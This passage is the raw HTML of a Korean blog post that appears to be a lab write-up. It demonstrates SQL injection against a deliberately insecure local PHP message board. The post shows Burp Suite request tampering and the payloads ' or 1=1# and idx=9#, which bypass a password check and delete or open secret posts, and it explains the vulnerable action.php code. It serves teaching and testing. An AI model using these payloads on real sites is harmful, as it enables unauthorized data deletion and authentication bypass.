data-origin-height=&quot;609&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k1Sxb/btsK6hXh5MK/yktgJxhiczFmJc3Nu8PO40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k1Sxb/btsK6hXh5MK/yktgJxhiczFmJc3Nu8PO40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k1Sxb/btsK6hXh5MK/yktgJxhiczFmJc3Nu8PO40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk1Sxb%2FbtsK6hXh5MK%2FyktgJxhiczFmJc3Nu8PO40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;617&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글의 Delete 버튼을 클릭하면 Password를 입력하는 칸이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 게시글에 등록된 비밀번호를 입력해서 게시글을 삭제하는 매커니즘이라는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;508&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vPwzt/btsK79jbt5P/iNQ24xEn25U9Vw3o2zDzi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vPwzt/btsK79jbt5P/iNQ24xEn25U9Vw3o2zDzi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vPwzt/btsK79jbt5P/iNQ24xEn25U9Vw3o2zDzi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvPwzt%2FbtsK79jbt5P%2FiNQ24xEn25U9Vw3o2zDzi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;508&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;508&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상단 URL을 보면 delete&amp;amp;idx=8이 확인되는데, 이를 통해 다른 게시글 삭제 시 어떤 쿼리를 작성해야하는지 유추가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 켜고 게시글 삭제가 어떻게 이루어지는 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Password 에 아무 문자를 입력하고 버프스위트에서 Intercept On을 하고 Auth 를 클릭하여 삭제 요청을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 ctrl + R을 입력하여 리피터로 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1165&quot; data-origin-height=&quot;861&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CgaSo/btsK76GKhMC/DnEOdcc8kNFIC4eXNphbJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CgaSo/btsK76GKhMC/DnEOdcc8kNFIC4eXNphbJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CgaSo/btsK76GKhMC/DnEOdcc8kNFIC4eXNphbJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCgaSo%2FbtsK76GKhMC%2FDnEOdcc8kNFIC4eXNphbJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1165&quot; height=&quot;861&quot; data-origin-width=&quot;1165&quot; data-origin-height=&quot;861&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리피터에서 확인하면 password와 idx가 확인되는데, 이때 삭제하고자 하는 idx를 변경해주고, password는 임의의 문자로 변경한다. 만약 해당 공격이 성공하게된다면 파라미터 변조 취약점으로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비밀 게시글 삭제를 위해 idx를 7로 변경 후 Send(Ctrl + space)를 클릭하여 요청을 전송한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 패스워드가 일치하지 않는다는 문구가 확인되며 이를 통해 비밀번호 검증 로직이 존재하는것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L8o7T/btsK6ioqmh0/mQeXUqZCsCeUNvVuQtOat1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L8o7T/btsK6ioqmh0/mQeXUqZCsCeUNvVuQtOat1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L8o7T/btsK6ioqmh0/mQeXUqZCsCeUNvVuQtOat1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL8o7T%2FbtsK6ioqmh0%2FmQeXUqZCsCeUNvVuQtOat1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1881&quot; height=&quot;844&quot; data-origin-width=&quot;1881&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;삭제 절차는 다음 두 가지로 유추할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1) 비밀번호 검증 후 해당 게시글 삭제 &amp;rarr; 비밀번호 검증 로직 + 삭제 로직, 2개의 쿼리로 이루어져 있음&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2) 비밀번호 검증 + 게시글 삭제 동시 진행 &amp;rarr; 비밀번호 검증 로직과 삭제 로직이 1개 쿼리로 이루어져 있음&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from board where idx=7 and password ='';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;delete from board where idx=7;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;delete from board where idx=7 and password='';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번의 삭제 절차로 진행되는 경우 SQL Injection 쿼리는 다음과 같이 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' or 1=1# 을 입력하여 터미네이팅 방식으로 참을 만드는 쿼리를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where idx=7 and password='' or 1=1#'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트 리피터에서 작성 시에는 &lt;b&gt;'+or+1=1%23&lt;/b&gt; 으로 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시에서 Server Side로 전송할 때는 URL 인코딩을 직접해줘야 하기 때문에 변경해서 작성해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL 인코딩은 &lt;a href=&quot;https://it-log.tistory.com/193&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctrl + space(Send) 입력 후 서버로 해당 요청을 전송하면 다음과 같이 삭제된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1879&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YXekh/btsK72dnhnZ/Oevz6ilIGKSWwNC3kbR4l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YXekh/btsK72dnhnZ/Oevz6ilIGKSWwNC3kbR4l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YXekh/btsK72dnhnZ/Oevz6ilIGKSWwNC3kbR4l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYXekh%2FbtsK72dnhnZ%2FOevz6ilIGKSWwNC3kbR4l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1879&quot; height=&quot;883&quot; data-origin-width=&quot;1879&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 보면 idx=7 게시글이 삭제된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bunZfc/btsK6BgXg3g/1XndHAiNYy8I6CVDnrdXOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bunZfc/btsK6BgXg3g/1XndHAiNYy8I6CVDnrdXOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bunZfc/btsK6BgXg3g/1XndHAiNYy8I6CVDnrdXOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbunZfc%2FbtsK6BgXg3g%2F1XndHAiNYy8I6CVDnrdXOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;434&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자세한 분석을 위해 소스코드를 확인한다. (action.php 열기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 소스코드 일부 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1733310349492&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $_POST[&quot;password&quot;];
		
		# Password Check Logic
		$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;num_rows() - 레코드 개수를 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$idx와 $password 변수에 각 POST 요청으로 보낸 idx와 password 파라미터 값을 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 삭제 절차와 동일한 비밀번호 검증 로직 이후 게시글을 삭제를 하기 때문에, 비밀번호 검증 쿼리를 참으로 만드는 SQL Injection 쿼리로 우회 후 게시글을 삭제하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 보면 select * from {$tb_name} where idx=7 and password='' or 1=1# &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;' 쿼리로 요청을 보내면, idx=7의 게시글이 아닌 게시글 전체가 출력되게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;rarr; idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 출력된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;$num = $result-&amp;gt;num_rows; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;rarr; 쿼리에 의해 출력된 데이터를 반환받는 코드로, 모든 게시글이 출력되면 0을 초과하게된다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;rarr; $num 에 0을 초과하는 값이 저장된다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;if($num == 0)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 출력된 레코드가 0인 경우에만 패스워드가 일치하지 않는 코드이다. (출력된 레코드 여부 확인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 모든 게시글을 출력하게되면, 출력된 레코드가 0을 초과하게 되어 비밀번호 검증 로직을 우회하는 현상이 발생하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 전체 게시글이 출력되면 출력된 레코드가 0을 초과하기 때문에 비밀번호 검증 로직에서 비밀번호를 입력하지 않고도 우회하게된다. 이후 delete from {$tb_name} where idx={$idx}; 코드에 의해 기존에 입력했던 idx=7이 전달되어 idx가 7인 게시글이 삭제된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 비밀번호 검증 로직과 게시글 삭제 로직이 1개의 쿼리에 존재한다면 어떻게 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 비밀번호 검증 로직이 삭제되고 게시글 삭제 로직의 코드를 다음과 같이 수정한다고 가정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;delete from {$tb_name} where idx={$idx} and password={$password};&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;delete from board where idx=7 and password='' or 1=1#';&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 삭제된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;그러므로 비밀번호 검증 로직과 게시글 삭제 로직을 1개의 쿼리에 적용한다면 굉장히 위험하다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;또한 실제 취약점 진단 시 운영중인 게시판에 영향이 있을 수 있으므로 게시글 수정 및 삭제와 관련된 SQL Injection은 지양해야 한다. (특히 where 절이 포함된 구문)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;실습2-5 idx 파라미터가 취약할 경우 인증 우회 공격 방법&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;password 파라미터가 아닌 idx 파라미터가 취약한 경우 어떻게 인증 우회를 할 것인가?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;idx 파라미터는 취약점이 자주 발생하는 경우가 많아 입력값 검증이 되어 있는 경우가 많다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;관리자 계정으로 로그인 후 비밀 게시글을 작성한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;해당 비밀 게시글을 클릭 후 임의의 문자열을 Password 칸에 입력한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;버프스위트를 켜고&lt;span&gt; Intercept On 후 게시글의 Auth를 클릭하여 요청을 전송한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuIi3Y/btsK7a4jQM4/NfjfH7nU5vk87SKCRfTgQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuIi3Y/btsK7a4jQM4/NfjfH7nU5vk87SKCRfTgQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuIi3Y/btsK7a4jQM4/NfjfH7nU5vk87SKCRfTgQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuIi3Y%2FbtsK7a4jQM4%2FNfjfH7nU5vk87SKCRfTgQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;494&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bra5OG/btsK7aJ5Gtk/t2kUYgs9XUujbEMC26m7l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bra5OG/btsK7aJ5Gtk/t2kUYgs9XUujbEMC26m7l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bra5OG/btsK7aJ5Gtk/t2kUYgs9XUujbEMC26m7l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbra5OG%2FbtsK7aJ5Gtk%2Ft2kUYgs9XUujbEMC26m7l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;828&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;서버에서 DB로 전송될 SQL 구문은 다음과 같이 추측이 가능하다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;select * from board where idx=9 and password='aa';&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;만약 idx 파라미터에 입력값 검증 취약점이 존재한다면, idx=9# 를 입력하면 뒤에 password 구문은 무시하게 되어 인증을 우회할 수 있다. 프록시에서 서버로 전송 시 URL 인코딩을 해야 하니 #을 %23으로 치환하여 입력한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;945&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yH8wO/btsK8o8oczw/AkMjpMJIOJ9yKNArM7HZ7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yH8wO/btsK8o8oczw/AkMjpMJIOJ9yKNArM7HZ7k/img.png&quot; data-alt=&quot;idx=9# 입력하여 인증 우회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yH8wO/btsK8o8oczw/AkMjpMJIOJ9yKNArM7HZ7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyH8wO%2FbtsK8o8oczw%2FAkMjpMJIOJ9yKNArM7HZ7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1878&quot; height=&quot;945&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;945&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;idx=9# 입력하여 인증 우회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 test 계정으로 접속 후 test 게시글을 작성 후에 비밀 게시글 삭제를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;453&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q6NZd/btsK8aCuIO8/pjWYj29JLc0ckiohDJGI90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q6NZd/btsK8aCuIO8/pjWYj29JLc0ckiohDJGI90/img.png&quot; data-alt=&quot;test 게시글 작성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q6NZd/btsK8aCuIO8/pjWYj29JLc0ckiohDJGI90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq6NZd%2FbtsK8aCuIO8%2FpjWYj29JLc0ckiohDJGI90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;453&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;453&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;test 게시글 작성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글 클릭 후 Delete 를 클릭하여 삭제를 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;605&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnlD26/btsK7JenaAn/Sbr7ezHI3cgb8swKR55tPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnlD26/btsK7JenaAn/Sbr7ezHI3cgb8swKR55tPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnlD26/btsK7JenaAn/Sbr7ezHI3cgb8swKR55tPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnlD26%2FbtsK7JenaAn%2FSbr7ezHI3cgb8swKR55tPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 